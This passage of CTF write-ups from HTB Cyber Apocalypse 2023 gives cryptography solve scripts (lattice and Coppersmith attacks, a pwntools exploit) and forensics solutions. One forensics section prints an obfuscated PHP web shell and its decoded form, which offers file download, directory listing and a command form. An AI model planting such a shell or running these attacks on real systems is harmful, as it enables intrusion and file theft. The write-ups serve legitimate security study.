For some $170 \leq r \leq 340$, let’s define $a_{h}$ and $b_h$ as the $r$ MSB bits of $a$ and $b$, define $a_l$ and $b_l$ as the remaining bits of $a$ and $b$, respectively. By our definition, we have:

$a = a_h \times 2^r + a_l$

$b = b_h \times 2^r + b_l$

Substitute $a$ and $b$ to the Weierstrass elliptic curve equation, we get:

$y^2 \equiv x^3 + (2^ra_h + a_l)x + 2^rb_h + b_l \text{ (mod }p)$

We define a polynomial $F(\alpha, \beta)$ in $GF(p)$ satifies $F(a_l, b_l) = 0$:

$F(\alpha, \beta) = x_P\alpha + \beta + 2^r a_h \times x_P + 2^rb_h\times x_P - y^2_P$

where $(x_P, y_P)$ is the known point given by the server at beginning. When having most significant bits of a number known, a typical method to apply is Coppersmith, particularly bivariate polynomial Coppersmith in this time.

Implementation and Results

By connecting to the server, I received these information:

p = 0xe3b0aa3465a71f45fdd6350587d041c481ae061401465aa9e089827ac0548728771f6baf095b5f44bb8410dc9709ea22df72bf635f04475fedeb24f13d488ceb
a_h = 0x3128114d5bdecf9388699fd05d1432d444f9e8bda4e620b13445d6f9705721d7dff1
b_h = 0x2cf39f8fd105112fdaa7c7144f3e7e7da15e93fa59efc32b2c185bf5151153e7fd07
x_P = 0x266dd3ba72bad801e16d03509ae1656b0f137c2382f40a420ff90e40f291073b46ae395f2858ccd719299d786c8191796f882daf2a55760d9c58fbcb6c5355da
y_P = 0x7c24c560a9bf720ff447de5671342787c762508e44a2e269ed0794e5ef33f9014f1dd53d8a3ebcb301d5fecdfde4d2413ee079b0ad8e716729c0123787d7fa4d

iv = "8ace74afe026aab8ff1288a9076141fb"
enc = "a07c4ac6d8dc0abe11d955a79e37d8b21721704dfccf6f3938646c74b1c3374f6d0f8e71962e48c405c629533c804ea0"

The good implementation of multivariate Coppersmith I used is in this repo of Defund:

import itertools

def small_roots(f, bounds, m=1, d=None):
 if not d:
 d = f.degree()

 R = f.base_ring()
 N = R.cardinality()

 f /= f.coefficients().pop(0)
 f = f.change_ring(ZZ)

 G = Sequence([], f.parent())
 for i in range(m+1):
 base = N^(m-i) * f^i
 for shifts in itertools.product(range(d), repeat=f.nvariables()):
 g = base * prod(map(power, f.variables(), shifts))
 G.append(g)

 B, monomials = G.coefficient_matrix()
 monomials = vector(monomials)

 factors = [monomial(*bounds) for monomial in monomials]
 for i, factor in enumerate(factors):
 B.rescale_col(i, factor)

 B = B.dense_matrix().LLL()

 B = B.change_ring(QQ)
 for i, factor in enumerate(factors):
 B.rescale_col(i, 1/factor)

 H = Sequence([], f.parent().change_ring(QQ))
 for h in filter(None, B*monomials):
 H.append(h)
 I = H.ideal()
 if I.dimension() == -1:
 H.pop()
 elif I.dimension() == 0:
 roots = []
 for root in I.variety(ring=ZZ):
 root = tuple(R(root[var]) for var in f.variables())
 roots.append(root)
 return roots
 return []

r = len(bin(p)) - len(bin(a_h))
Fp = GF(p)
a_h, b_h, x_P, y_P = map(Fp, [a_h, b_h, x_P, y_P])
P.<alpha, beta> = PolynomialRing(Fp)

F = x_P * alpha + beta + x_P^3 + 2^r * a_h * x_P + 2^r * b_h - y_P^2
roots = small_roots(F, (2^r, 2^r), m=2, d=5)[0]
a_l, b_l = roots
print(f'a_l = {a_l}')
print(f'b_l = {b_l}')

The results:

a_l = 4090003137759760265604501674930222345811449862978588668280246527938919495
b_l = 6854882327443898686047723082547152279783184053818145063785025112346556672

After recovering x_l and y_l, I decrypted the FLAG by this script:

from hashlib import sha256
from random import randint
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

a = (a_h << 242) + a_l
b = (b_h << 242) + b_l

iv = bytes.fromhex(iv)
key = sha256(long_to_bytes(pow(a, b, p))).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = bytes.fromhex(enc)
print(cipher.decrypt(enc))

Flag is: HTB{y0u_5h0u1d_h4v3_u53d_c00p325m17h}

Biased Heritage

Given file: Get it here!
Description: You emerge from the labyrinth to find a massive door blocking your path to the relic. It has the same authentication mechanism as the entrance, but it appears to be more sophisticated and challenging to crack. Can you devise a plan to breach the door and gain access to the relic?
Category: Cryptography
Difficulty: Hard

Compared to the last challenge (Colliding Heritage), k is now generated by SHA256 insteads which is much more resilient against hash collision attacks than MD5 or nearly impossible to do so. Because of that, our previous attack wouldn’t work on this challenge.

After noticing the word BIASED in the challenge name, I had a hunch that this chall gonna need some LLL magic. Based on that, I kept looking for a small integer or atleast any repetitive parts of a number (or so called bias), and found one in the followng hashing function.

def H(self, msg):
 return bytes_to_long(2 * sha256(msg).digest()) % self.q

You can easily see that k = 2*SHA256( msg || secret ). In other words, k = (2^256+1)\*x where x is unknown 256-bit output from SHA256 function while k is 512-bit. Bingo, LLL time.

Well, the server allows us to query for 3 times, we should use the first 2 times to collect signatures which are just enough for our use and the last ones to trick the server into giving us the flag. So we got:

Since S is known 512-bit, and k only has 256 unknown bits we can start constructing a lattice to solve the SVP problem with LLL now.

After LLL, we gonna get a short vector that look like this:

Well, that was alot. Here comes the script in Sage (I parsed signature and submitted signatures all by hands):

from hashlib import sha256
from Crypto.Util.number import *

##get 2 signature from server 
sig0 = (2201384718072843790141885598870601009149158537568071358193592308444053168306421929467556420242693286691490522215468964110881851509880735493338991645390396, 2318623387388989624095214099569047825341708399431253151627450383635519224666598718188372928127571765685778247137818236688391434765968118358634695411837390)
sig1 = (5643323405968098617359379045374815314162245377024975944768494215044558381083529231024356935255866448701807811319414715896126937899577482072265546826687923, 1027133811051642261997157563892411730891386064630632377323975878292520406108099727744365069912026927564457147136857066971987676141520708801237151093219205)
s_temp= [sig0[0], sig1[0]]
e_temp= [sig0[1], sig1[1]]
# q prime
q= [10183765261512984706477412009638081602843766654569849535936436797593873507566983996455981325952833624810053852919430991796953569087107929681393648627640673]
preal = 0x184e26a581fca2893b2096528eb6103ac03f60b023e1284ebda3ab24ad9a9fe0e37b33eeecc4b3c3b9e50832fd856e9889f6c9a10cde54ee798a7c383d0d8d2c3
g=3
s0= s_temp[0]*inverse(e_temp[0],q[0]) % q[0]
s1= s_temp[1]*inverse(e_temp[1],q[0]) % q[0]
temp0 = (2**256+1)*inverse(e_temp[0],q[0]) % q[0]
temp1 = (2**256+1)*inverse(e_temp[1],q[0]) % q[0]
S = (s0-s1) % q[0]

m = Matrix([[1/2^256,0,0,-temp0],
 [0,1/2^256,0,temp1],
 [0,0,1,S],
 [0,0,0,q[0]]])


res = m.LLL()

def H(msg):
 return bytes_to_long(2 * sha256(msg).digest()) % q[0]

def sign(x, msg):
 print("q0 here", q[0])
 k = H(msg + long_to_bytes(x))
 r = int(pow(3,k,preal)) % q[0]
 e = H(long_to_bytes(r) + msg)
 s = (k - x * e) % q[0]
 return (s, e)

for row in res:
 if row[2] == 1 or row[2] == -1:
 k0 = row[0]
 if k0.numerator() < 0:
 k0 = -k0
 k0 = int(k0.numerator())
 k0 = k0*(2^256+1)
 secret = (k0 - s_temp[0]) % q[0]
 secret = int(secret*inverse(e_temp[0],q[0])) % q[0]
 temp = sign(secret,b"")
 assert s_temp[0] == temp[0]
 assert e_temp[0] == temp[1]

 print(b"right hand".hex())
 print(sign(secret,b"right hand"))

Flag is: HTB{full_s1z3_n0nc3_l4cks_ful1_s1z3_3ntr0py}

Converging Visions

Description: As you hold the relic in your hands, it prompts you to input a coordinate. The ancient scriptures you uncovered near the pharaoh’s tomb reveal that the artifact is capable of transmitting the locations of vessels. The initial coordinate must be within proximity of the vessels, and an algorithm will then calculate their precise locations for transmission. However, you soon discover that the coordinates transmitted are not correct, and are encrypted using advanced alien techniques to prevent unauthorized access. It becomes clear that the true coordinates are hidden, serving only to authenticate those with knowledge of the artifact’s secrets. Can you decipher this alien encryption and uncover the genuine coordinates to locate the vessels and destroy them?
Category: Cryptography
Difficulty: Hard

We are given a Python script.

from secret import FLAG, p, a, b
from sage.all_cmdline import *

class PRNG:

 def __init__(self, p, mul1, mul2):
 self.mod = p * 6089788258325039501929073418355467714844813056959443481824909430411674443639248386564763122373451773381582660411059922334086996696436657009055324008041039
 self.exp = 2
 self.mul1 = mul1
 self.mul2 = mul2
 self.inc = int.from_bytes(b'Coordinates lost in space', 'big')
 self.seed = randint(2, self.mod - 1)

 def rotate(self):
 self.seed = (self.mul1 * pow(self.seed, 3) + self.mul2 * self.seed +
 self.inc) % self.mod
 return self.seed, pow(self.seed, self.exp, self.mod)


class Relic:

 def __init__(self, p, a, b):
 self.E = EllipticCurve(GF(p), [a, b])
 self.P = None
 self.EP = None
 self.p = p
 self.prng = PRNG(p, a, b)

 def setupPoints(self, x):
 if x >= self.p:
 return 'Coordinate greater than curve modulus'

 try:
 self.P = self.E.lift_x(Integer(x))
 self.EP = self.P
 except:
 return 'Point not on curve'

 return ('Point confirmed on curve', self.P[0], self.P[1])

 def nextPoints(self):
 seed, enc_seed = self.prng.rotate()
 self.P *= seed
 self.EP *= enc_seed
 return ('New Points', self.EP[0], self.EP[1], self.P[0], self.P[1])


def menu():
 print('Options:\n')
 print('1. Setup Point')
 print('2. Receive new point')
 print('3. Find true point')
 option = input('> ')
 return option


def main():
 artifact = Relic(p, a, b)
 setup = False
 while True:
 try:
 option = menu()
 if option == '1':
 print('Enter x coordinate')
 x = int(input('x: '))
 response = artifact.setupPoints(x)
 if response[0] == 'Point confirmed on curve':
 setup = True
 print(response)
 elif option == '2':
 if setup:
 response = artifact.nextPoints()
 print('Response')
 print((response[0], response[1], response[2]))
 else:
 print('Configure origin point first')
 elif option == '3':
 if setup:
 print('Input x,y')
 Px = int(input('x: '))
 Py = int(input('y: '))
 response = artifact.nextPoints()
 if response[3] == Px and response[4] == Py:
 print(
 'You have confirmed the location. It\'s dangerous however to go alone. Take this: ',
 FLAG)
 else:
 print('The vessels will never be found...')
 exit()
 else:
 print('Configure origin point first')
 else:
 print("Invalid option, sutting down")
 exit()
 except Exception as e:
 response = f'An error occured: {e}'
 print(response)
 exit()


if __name__ == '__main__':
 assert p.bit_length() == 256
 main()

So, for any $i\neq j$, $$a \equiv \dfrac{Y_i^2-Y_j^2-X_i^3+X_j^3}{X_i-X_j} \pmod{p}$$

Which means for any distinct $i,j,k,l$, $$(Y_i^2-Y_j^2-X_i^3+X_j^3)(X_k-X_l)-(Y_k^2-Y_l^2-X_k^3+X_l^3)(X_i-X_j) \equiv 0 \pmod{p}$$

So by playing with several $i,j,k,l$ and take GCD stuff, we obtain $$p=91720173941422125335466921700213991383508377854521057423162397714341988797837$$.

Also, we can find $a$ and $b$ by consider the equation system $$Y_i^2-X_i^3=aX_i+b \text{ for }i=1,2$$.

We get that $$a=57186237363769678415558546920636910250184560730836527033755705455333464722170$$, $$b=47572366756434660406002599832623767973471965640106574131304711893212728437629$$

Now the important thing is to note that: $|E/\mathbb{F}_p|=p$, thus we can easily solve the discrete log problem on $E$ using Smart's attack. In addition, we only need to consider the RNG in modulo $p$.

Back to the challenge, we see the challenge is almost equivalent: Given $P,x^2\times P$, find $(ax^3+bx+C)\times P$. To do this, we need to find $x$ .Fortunately, because the DL problem is easy, we can easily find $x$. The attack is described as follow:

Let $P$ be any point on the curve.
Let the current round be $i$, we can use Option 2 to get the value $r[i]^2\times P$. At this time, $state.P=r[i]\times P$.
Use Smart’s attack to restore $r[i]^2$, then restore $r[i]$ with probability $\dfrac{1}{2}$.
Calculate $predict=ar[i]^3+br[i]+C \pmod{p}$.
Use Option 1 and enter the coordinate of $P[1]$. This will set $state.P=P$ and the next point will be equal to $r[i+1]\times P$.
Enter Option 3 and enter the coordinates of $predict\times P[1]$.

The attack has $\dfrac{1}{2}$ probability of success because we have $\dfrac{1}{2}$ probability of getting the right $r[i]$. So by doing this multiple times, we get the flag.

Flag is: HTB{0Racl3_AS_a_f3A7Ur3_0n_W3aK_CURV3_aND_PRN9??_7H3_s3cur17Y_0F_0uR_CRyP70Sys73M_w1LL_c0LLAp53!!!}

Blokechain

Given file: Get it here!
Description: After successfully locating the vessels and obtaining the relic, you and your team begin to strategize on how to destroy them. However, upon further examination, it becomes clear that the vessels are connected with advanced alien technology that simulates a blockchain. In order to destroy the pods, you realize that you need to possess the wealth of the entire galaxy. The fate of the Earth rests on your ability to find a solution to this seemingly impossible problem. Can you devise a plan to destroy the vessels and save humanity from their destructive power? Note: This challenge is not intended for beginners. It is an insane level of difficulty. Good luck and have fun!
Category: Cryptography
Difficulty: Insane

This challenge has an unintended solution where you can just resubmit the hash, lmao. R.I.P overthinkers.

Here is the script:

from pwn import *

r = remote("178.62.9.10",30794)
total = 0
while total < 100000000:
 r.recvuntil("vessels\n")
 r.sendline("1")

 r.recvuntil("vessels\n")
 r.sendline("2")

 for i in range(60):
 r.recvuntil(": ")
 r.sendline("1")

 ans = []
 while True:
 temp = r.recvline()
 if b"Balance" in temp:
 break
 else:
 temp = temp[len("expected hash "):len("expected hash ")+25].decode()
 ans.append(int(temp,16))
 r.recvuntil("vessels\n")
 r.sendline("2")
 ans1 = [1]*(60-len(ans))
 ans1 = ans1 + ans
 for i in range(60):
 r.recvuntil(": ")
 r.sendline(str(ans1[i]))
 while True:
 temp = r.recvline()
 if b"Balance" in temp:
 total = int(temp.strip().decode()[len("Balance: "):])
 print(total)
 break


r.recvuntil("vessels\n")
r.sendline("3")
print(r.recvline())

Flag is: HTB{7h3_vess3ls_4r3_des7r0yed_g0od_j0b}

Original Post

Cyber Apocalypse 2023: The Cursed Mission - Forensics

Mon, 27 Mar 2023 00:00:00 +0000

Table of Contents

Plaintext Tleasure

Given file: Get it here!
Description: Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server’s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.
Category: Forensics
Difficulty: Very Easy

We are given a network pcap file. Although we can solve this challenge using Wireshark, but to keep it simple for the very first challenge, we will use strings and grep to get the flag.

Here we use strings to dump out strings from the pcap file, then use pipe (|) and grep to find for strings that match the flag format - HTB{.

Flag is: HTB{th3s3_4l13ns_st1ll_us3_HTTP}

Alien Cradle

Given file: Get it here!
Description: In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora’s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?
Category: Forensics
Difficulty: Very Easy

For this challenge, we are given a Powershell Script file. In the script, the flag is being concatenated using some Powershell ~~magic~~ lines of code.

Flag is: HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}

Extraterrestrial Persistence

Given file: Get it here!
Description: There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?
Category: Forensics
Difficulty: Very Easy

In this challenge, we are given a shell script to look for the flag.

For the sake of understanding the flow of shell scripting, the script checks whether the username is Pandora and the hostname is linux_HQ. If the check is fulfilled, it starts the process to write the base64 decoded message into the file /usr/lib/systemd/system/service.service.

The decoded message turned out to contain the flag for our challenge.

Flag is: HTB{th3s3_4l13nS_4r3_s00000_b4s1c}

Roten

Given zip: Get it here!
Description: The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyze, its up to you to save us.
Category: Forensics
Difficulty: Easy

After filtering the packets by http.request.method == POST, we saw an interesting packet there.

The packet 1929 has a MIME type of application/x-php, following the HTTP stream to see the php backdoor, we found this interesting php codes:

<?php
$pPziZoJiMpcu = 82;
$liGBOKxsOGMz = array();
$iyzQ5h8qf6 = "" ;
$iyzQ5h8qf6 .= "<nnyo ea\$px-aloerl0=e r\$0' weme Su rgsr s\"eu>\"e'Er= elmi)y ]_'t>bde e e =p xt\" ?ltps vdfic-xetrmsx'l0em0 o\"oc&'t [r\"e _e;eV.ncxm'vToil ,F y";
$iyzQ5h8qf6 .= "<r s -<a \"op r_P< poeeihaeild /ds\"se4bsxao1: r]du ;e\$'o,t dn\n)i\$'me'maoate{e I!lb>'u btde .sr ege/ han:t";
$iyzQ5h8qf6 .= "elrlenjl t>( 0'eCdd0 l et0\n'seu u it ;e_ dc>ulUd'T\nxe\$L<er<.l oh>c ii aert pdt iai(ed.QiJr\n\$i0; 0\"e0' d= ex ].xp\$r re \nwSn'u<lup ]o iluE/=>b\$t r>\n";
$iyzQ5h8qf6 .= "h rxn ltmb \n'-aodd') bubaa\nff0 i0] )- [ &\"4 ==e[wn (r #iEa tftelF)U sspSb\"'rd dO o e_t ppso \n]DpneaC;aoesvp\ni( }f0 & ' \"( ]0 =sc'o \$s #nRmaeoi=oi)p te";
$iyzQ5h8qf6 .= "l[>c;>ia ew agP aw(d i;ep:rto\nnor/a/<l )\n( = ?;\$r\$0 0 'puwr\$\$d\" fgVeu'rp'al l s o'<o\n<rs rn \" leeetu\$y f\nsl (en dtyjS3?e\$ ) 0 \ngem0= xrtrlsdi; l E=t>ma\"d";
$iyzQ5h8qf6 .= "e{o iafbl\nb. }ee < ptrchid> cia''t s qc.p)m{ \$ (0' rao0 ) 'ieid;ir\n adR'o\\ r.''\na ifdiro >'\$\ndr<t apmh(di\" ( rctE)";
$iyzQ5h8qf6 .= "e mtlur3h;o m{\$2x odd0( )n't[\nr) gi[dcnat\$ d n Dl>r R k}\"<tr twso\$(r; i iatx;n iriei.p\nd\$ o m0' u\"e1\$\$ ";
$iyzQ5h8qf6 .= " t]e'} ) } r'io\"c/_in ' (ie': e&e\n>/b> hu( df)\n s ptap\nt nabrp6\n et d\$o0 p] )ogi?f)'r\n= \n=ePrm;tfGda";
$iyzQ5h8qf6 .= " ]e\"mrT;r s&ye\nto\" (i\$\"ii e s tici - ipryt/\n y etd): [ & wrf (;]e\n { cH'p\nioE=m [c.oeo\ne u c hd; \$dd<rl.c e iohr L fca/ jf &p ye ";
$iyzQ5h8qf6 .= "\"= ?no('\"\n,a\n\$\n HtP leorT'e 'h\$vcU d l'=h >y\n d(it.e h t onme e idr1-su e &p ?' e 0 eu t% d\$_ To_vecnm[f= nouetp \" t.";
$iyzQ5h8qf6 .= ">o \n> eifrd'o\"o ( n/es n eny.-/n 0=e e& - x(0'rp\$'1 \$'dP BrSath=-'i' a p_ol > \$ \n cri)>/w< \$i🔛 g ";
$iyzQ5h8qf6 .= "d. 1>bc x'l0= ''\$e\$0x[[m s g]iO {yEleo'ddls m\"luro E}o_\$\"< < h.l <'n/\" _f ct t c-2\not 2dsx'0w;gcm0''\"o:% r,rS W Lu= \"aieu\$e<opya r\nfG";
$iyzQ5h8qf6 .= "v<t ? o'e.a.et< G Ft;0 h Co-.<oi 0'eAs0'\nruo2 eed 1 o T 0\"Fe'\".trTbu'bal)d r\n Eabh p /o \$rd/ E(ie ' :eSm>2stoi0; 0'4 otd):xxe's u\$=[ ";
$iyzQ5h8qf6 .= " w '=o<\$a'omp]rdo)' o}cTlre h \"'w\"hv(>t Tfltf) xS/\n/csnf0 i0;0: uee ee T% pw ' \$_.]\"f/_']Uil)>Da ] r\no[u>a p <.n<ra\$\\a [ie-i; 'i b<jrt ( }f0 0 ";
$iyzQ5h8qf6 .= "p\" ?'cc&'1 [o\$d dR ..ffS>.pto;<id{[} \nm'e\"d \n t\$e/eldnb 'l sl\n t-osqirp )\n( })' []& -uu ;s\$'r_ii iO\$\"\$'oE";
$iyzQ5h8qf6 .= "\\\"l'a\nbre\n' uimc);> fidvrtfui\"l deTte .;-ocupar\$ )\n - \" ''tt0\n\"selGrf rtd'd rRn'o>d red nepfam \n\n<o";
$iyzQ5h8qf6 .= "f>a(d=er;e o_rrn h \n>tretpim{ \$ ?' w=0w;eex ,.xdE' _i iamV\"/a\"D >c_ all nd{? tr <l\$>').\n> weaea ef \nsir .no ";
$iyzQ5h8qf6 .= "m{ ; r 0'\n'\"2 =e[T](\$=Armru>E;>d;i <tf mso(d'\n> he(aud\\\" ' \" nxnam ai <tpysmtd\$ o '\n i(0 ]]0 \$sc'[;if _ e.t\"R\n '\nr boi eeai ] \n >ai ein../ ; lisme ";
$iyzQ5h8qf6 .= "dl lrt.riPet d\$ r \$t\$0: = 0 opuw'\nsi'D.t\"o;[e\">ee rl ' dse, \n Pcsh)r\" ' \n osf'= ee ia mcne y et ' gem4 == wrtrd}_l.a h f\n'c;\\cc sye ]{isx <";
$iyzQ5h8qf6 .= " eh_r .;\$\". \n ate)\" rs npsi=.r&p y r\"o)' ' ) nieii\nfe/Y\"o/oePh\nnht t.( .\nnee\$ t r de.'\n_'\$ \n dsr;' (i k/rn\"jm e &p : o]d - x( en'tr\$i '}<d>ccHoe<o";
$iyzQ5h8qf6 .= "o y\"\$ ' gtcc a<m(if / S>v ? '('\n. 'z 3c.hss0=e e u e?' '\$\$ rt]e'fl=;\n/=\"uhP cb ril._ (um bti\$r=\"' E\"a > ]\$) b Pe r.=jt\"(x'l0=e' p= ; )gw\$[f)']ie \n\$h";
$iyzQ5h8qf6 .= "';so_\"hr\"yfe<F u f\$td lrsd('/. R.l \n )f; a r(}e3\"st>\$1csx'l- [ &'\n ros'(;];l(\$}d2G\n> S<o>< =/I p i_ir e>sir\"'\$ V u}\n )i\n s a\$\nl.h\"p<f0'e8l";
$iyzQ5h8qf6 .= "s' \"( r i?or=r\"\n,\ne\$d\ni>Ee\\\"Ei </=('bL l lGoe \nire.>v E\$e\n\n l ehgf}=6t>:/i0; 0'e;\$r\$0' f ulse% i di\$r\"Tcn\\Ln\"id fc>E o eEns c osa \"a Rv) \n {e";
$iyzQ5h8qf6 .= " nemi\n\"/t</sl0 i0; \noem0 ('pdpa1 \$f=irds;'h<nFp<ni\$io<S a T:u l n l\$.l [a) < \n) aaal\nscp//ce }f0 \$ wao0: s[[rds w r;i \n>o";
$iyzQ5h8qf6 .= "i<'uipvdll/[ d '[ l a sap_ u 'l[ / ) md:e?tsssmr))\n( }t ndd1 \$''\"i'% o(')\nr=e\" nb]tnu>ieob' e .'<t s <saS\$e}Pu";
$iyzQ5h8qf6 .= "n d ee )>ys:cai )\ny e\"e0' m een]1 ri') c;\"pr. pt\"r_rrfed \$c/) s / tEv)\nHea i { (rp)\nl//rxp{{ \$ p r] )- o:xxt,s ls; =sh\n<u>\"tu";
$iyzQ5h8qf6 .= " ;.e:>ic umb; = t\$hRa) P m v \n \$(u;\neb/ict\n m{ e [ & ' d eef % ds\n{ coeit\\'ytt\n'xr<lhs pd>\n \" hk(Vl[ _.e > f'b\n<soapd> \$ o = \"=";
$iyzQ5h8qf6 .= " ?;\$e'cc(\$1 [ei\n ra cn n p y\n/ie/eou l'< et >e\$Eun S ] \n iCl hhojtn\n t d\$ ' e 0 \nw Suu\"os\$'tf en\"hpt<metpi'sdbT c o]b ca";
$iyzQ5h8qf6 .= "<\nydRea E\" e< hlai teta>.\n y et u x(0' o&'tt%w\"se( ad\\ouyde=yef.t'ro'c a)r hbt i[ m L<.c/ eecc mesx\nb< p y '\$e\$0x r ;ee1n,.x\$( lin tpit'p";
$iyzQ5h8qf6 .= "= bs>>U<e d)> olh =r'.e F/\"hh \$ a)h' ltt.\nod e &p ;ocm2' l0\n'\"se =e_\$ pr<\" evhhe'(a(E\"pbseD \" e> >.P ] 'a<ot f hd.e) >\"r";
$iyzQ5h8qf6 .= "g<oi =e e \nwuo0 dx ]]\"r\$scPd a(b<t= oi=sis\$r;lrsci{; \" N 'H\" ]>/ m i ee'-; \n ao!tv 'l0=e ntd): [8 = ,[gpuOi t\$riy'cdd'useur\no>fhr\n\n \$ta \$/P<.e <t\"";
$iyzQ5h8qf6 .= "l l ar\"C\n <hpo-s psx'l eee \"0 == 'rrtSr hd>npsl=dfbsnpo a<uoe vam v'_/ l./d<> e d('o !r.g-tc\$'e6-s r\" ?' e0 ' \$woieT (i<peua'eime";
$iyzQ5h8qf6 .= "alr dbl c fabe<a.Sa\"s t>/ e')n -eml rlm; 0'e []& - x x(trun'[= \$rfu=bsPnlitmo. 'rl't oll</l\$E><e\"d<t = rC;t -fieLaao i0; \" ''\$e) ";
$iyzQ5h8qf6 .= "'\$yipt]'= d)ot'msO'et(ea ]>y<o rue/tuvL</ ?>tr (o\nr =naapsd}f0 i w=0w;wc )wpt[f)d i;r ti=S ''\$(dF [< br ee-treaF/t{d<d> \$h";
$iyzQ5h8qf6 .= "'n o L\".ptcse\n( }f r 0'\nou\$ oee'(;iN r\nmtet'Tn _\$Di 'biry a hh>)l'td\not>\" _eCt l rahcied= )\n( i(0 rtoi?r)'r\"\nrU e.e yx'n'anvP_il t>n>. c";
$iyzQ5h8qf6 .= "\\o>\n u]d> wd ; Gaoe : ettsssn\"= \$ \$t\$4: lewf l;]e% 'L c'capt a maaOFre mF <' hnv\n {e >< n>\"\n Ednn aets.t.c m{ \$oem0 d\"n('d\n,a1 ]L h/hce'vveemlS";
$iyzQ5h8qf6 .= "Ie }pi'b<ee <e \n).<t l\" } Tett m dsp\"c cof o mw\"o)' []e s[ ds ) o'ot= abn=euTLca\n_l.r/cx(br ) td o..\n [re- u ft:>oconi d\$ on]d - ";
$iyzQ5h8qf6 .= "\" r\$'' \$'% )oe . i'nlac'=e[Etl ne\$>bhe\$r )\"d> a e '(nD s i /\nmomtl et de e?' w=[m e o]1 rc\$\$\"ohaurtd'='Sor a d<>occ>t < ?> dppc d";
$iyzQ5h8qf6 .= "'ti t lc/\n/m/ae y er= ; r \"o:x w,s { hfv<nime-yif's[re m'ib< (m\"a / {d\"\" =orh oC-s -heom<apbip &p [ &'\n i(ed e n % \n!oiah=de=fpriUu'ya e.r b\"'d;b t";
$iyzQ5h8qf6 .= " \ni. \"sio woTp re(ma!jionee e &\"( r \$t\$xe'c e\$1 i ll2'd='oe'lpbf)d '\$.sr<cr\nl h r . .in ";
for($i = 0; $i < $pPziZoJiMpcu; $i++) $liGBOKxsOGMz[] = "";
for($i = 0; $i < (strlen($iyzQ5h8qf6) / $pPziZoJiMpcu); $i++) { for($r = 0; $r < $pPziZoJiMpcu; $r++) $liGBOKxsOGMz[$r] .= $iyzQ5h8qf6[$r + $i * $pPziZoJiMpcu]; }
$bhrTeZXazQ = trim(implode("", $liGBOKxsOGMz));
$bhrTeZXazQ = "?>$bhrTeZXazQ";
eval( $bhrTeZXazQ );
?>

That doesn’t look nice, let’s replace eval by echo and execute this to see decoded codes:

?><?php

if (isset($_GET['download'])) {
 $file = $_GET['download'];
 if (file_exists($file)) {
 header('Content-Description: File Transfer');
 header('Content-Type: application/octet-stream');
 header('Content-Disposition: attachment; filename="'.basename($file).'"');
 header('Expires: 0');
 header('Cache-Control: must-revalidate');
 header('Pragma: public');
 header('Content-Length: ' . filesize($file));
 readfile($file);
 exit;
 }
}

?>

<html>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">

<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script>

<!-- Latest compiled JavaScript -->
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>

<div class="container">

<?php

function printPerms($file) {
 $mode = fileperms($file);
 if( $mode & 0x1000 ) { $type='p'; }
 else if( $mode & 0x2000 ) { $type='c'; }
 else if( $mode & 0x4000 ) { $type='d'; }
 else if( $mode & 0x6000 ) { $type='b'; }
 else if( $mode & 0x8000 ) { $type='-'; }
 else if( $mode & 0xA000 ) { $type='l'; }
 else if( $mode & 0xC000 ) { $type='s'; }
 else $type='u';
 $owner["read"] = ($mode & 00400) ? 'r' : '-';
 $owner["write"] = ($mode & 00200) ? 'w' : '-';
 $owner["execute"] = ($mode & 00100) ? 'x' : '-';
 $group["read"] = ($mode & 00040) ? 'r' : '-';
 $group["write"] = ($mode & 00020) ? 'w' : '-';
 $group["execute"] = ($mode & 00010) ? 'x' : '-';
 $world["read"] = ($mode & 00004) ? 'r' : '-';
 $world["write"] = ($mode & 00002) ? 'w' : '-';
 $world["execute"] = ($mode & 00001) ? 'x' : '-';
 if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
 if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
 if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
 $s=sprintf("%1s", $type);
 $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
 $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
 $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
 return $s;
}


$dir = $_GET['dir'];
if (isset($_POST['dir'])) {
 $dir = $_POST['dir'];
}
$file = '';
if ($dir == NULL or !is_dir($dir)) {
 if (is_file($dir)) {
 echo "enters";
 $file = $dir;
 echo $file;
 }
 $dir = './';
}
$dir = realpath($dir.'/'.$value);
##flag = HTB{W0w_ROt_A_DaY}
$dirs = scandir($dir);
echo "<h2>Viewing directory " . $dir . "</h2>";
echo "\n<br><form action='".$_SERVER['PHP_SELF']."' method='GET'>";
echo "<input type='hidden' name='dir' value=".$dir." />";
echo "<input type='text' name='cmd' autocomplete='off' autofocus>\n<input type='submit' value='Execute'>\n";
echo "</form>";
echo "\n<br>\n<div class='navbar-form'><form action='".$_SERVER['PHP_SELF']."' method='POST' enctype='multipart/form-data'>\n";
echo "<input type='hidden' name='dir' value='".$_GET['dir']."'/> ";
